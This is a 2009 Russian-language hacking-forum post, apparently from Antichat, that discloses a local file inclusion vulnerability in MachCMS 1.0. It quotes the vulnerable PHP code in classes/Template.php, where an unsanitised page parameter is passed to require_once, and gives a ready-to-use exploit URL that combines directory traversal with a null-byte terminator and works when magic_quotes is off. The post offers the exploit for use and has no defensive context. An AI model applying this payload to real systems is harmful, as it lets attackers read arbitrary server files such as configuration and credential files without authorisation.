Показать сообщение отдельно

MachCMS 1.0 Local File Inclusion
  #252  
Старый 11.12.2009, 15:05
RulleR
Reservists Of Antichat - Level 6
Регистрация: 12.06.2008
Сообщений: 157
С нами: 9428066

Репутация: 1668
По умолчанию MachCMS 1.0 Local File Inclusion

MachCMS 1.0
Web site : http://machcms.sourceforge.net
Version : 1.0
Author : Arthur Wiebe



[Local File Inclusion]

Vuln file: classes/Template.php [str:61]

PHP код:
        if (file_exists("pages/$page.page/main.php")) {
            
$template $this;
            require_once(
"pages/$page.page/main.php");
            
$this->parse();        
  } 
Exploit:
if magic_quotes = OFF

Код:
http://[host]/[path]/index.php?q=../../../../../../../../[local_file]%00
© RulleR aka Pin4eG

Последний раз редактировалось RulleR; 11.12.2009 в 15:09..
 
Ответить с цитированием